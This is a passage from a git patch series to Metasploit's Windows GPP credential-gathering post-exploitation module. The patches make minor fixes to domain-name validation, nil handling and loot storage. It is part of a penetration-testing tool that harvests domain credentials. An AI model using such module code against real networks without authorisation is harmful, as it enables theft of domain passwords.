deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 277cf69018..8ed85dbbc3 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -83,10 +83,10 @@ class Metasploit3 < Msf::Post # Add user specified domains to list. if !datastore['DOMAINS'].blank? - #if datastore['DOMAINS'].match(/./) - # print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'." - # return - #end + if datastore['DOMAINS'].match(/./) + print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'." + return + end user_domains = datastore['DOMAINS'].split(' ') user_domains = user_domains.map {|x| x.upcase} print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..." From 5bba81b7383ff3f46f5ef4c242799ff84e4a5add Mon Sep 17 00:00:00 2001 From: Loic Jaquemet Date: Tue, 3 Jul 2012 20:38:26 -0300 Subject: [PATCH 41/44] or something equivalent... if enum_dcs returns nil --- modules/post/windows/gather/credentials/gpp.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 8ed85dbbc3..39169a2223 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -109,6 +109,7 @@ class Metasploit3 < Msf::Post domains.each do |domain| dcs = enum_dcs(domain) + dcs = [] if dcs.nil? # Add registry cached DC for the test case where no DC is enumerated on the network. if !cached_dc.nil? && (cached_dc.include? domain) From cadbeafc4b489f0c34bc032db4e3ac61f4105852 Mon Sep 17 00:00:00 2001 From: Loic Jaquemet Date: Tue, 3 Jul 2012 20:41:03 -0300 Subject: [PATCH 42/44] match dot and not any character --- modules/post/windows/gather/credentials/gpp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 39169a2223..bf021d4fc5 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Post # Add user specified domains to list. if !datastore['DOMAINS'].blank? - if datastore['DOMAINS'].match(/./) + if datastore['DOMAINS'].match(/\./) print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'." return end From a513b412831884a586d2bd6c6bed40b46b606318 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 5 Jul 2012 14:19:41 +0100 Subject: [PATCH 43/44] Couple of readability changes suggested by TLC --- modules/post/windows/gather/credentials/gpp.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index bf021d4fc5..00650be31a 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Post end # Add user specified domains to list. - if !datastore['DOMAINS'].blank? + unless datastore['DOMAINS'].blank? if datastore['DOMAINS'].match(/\./) print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'." return @@ -277,19 +277,15 @@ class Metasploit3 < Msf::Post print_good table.to_s - store_data(xmlfile[:xml], filetype, xmlfile[:path]) + if datastore['STORE'] + stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path]) + print_status("XML file saved to: #{stored_path}") + end report_creds(user,pass) unless disabled and disabled == '1' end end - def store_data(data, filename, path) - if datastore['STORE'] - stored_path = store_loot('windows.gpp.xml', 'text/plain', session, data, filename, path) - print_status("XML file saved to: #{stored_path}") - end - end - def report_creds(user, pass) if session.db_record source_id = session.db_record.id From fc58e485c3ce41bf48776a9ee5bda7c7aa850ac7 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 5 Jul 2012 14:27:45 +0100 Subject: [PATCH 44/44] Added further protection to enum_dcs method to prevent crashes --- modules/post/windows/gather/credentials/gpp.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 00650be31a..7e97dbef0f 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -365,9 +365,10 @@ class Metasploit3 < Msf::Post end def enum_dcs(domain) - # Prevent crash if DNS style domains are searched for. - if domain.include? "." - print_error("Cannot enumerate DNS style domain names: #{domain}") + # Prevent crash if FQDN domain names are searched for or other disallowed characters: + # http://support.microsoft.com/kb/909264 \/:*?"<>| + if domain =~ /[:\*?"<>\\\/.]/ + print_error("Cannot enumerate domain name contains disallowed characters: #{domain}") return nil end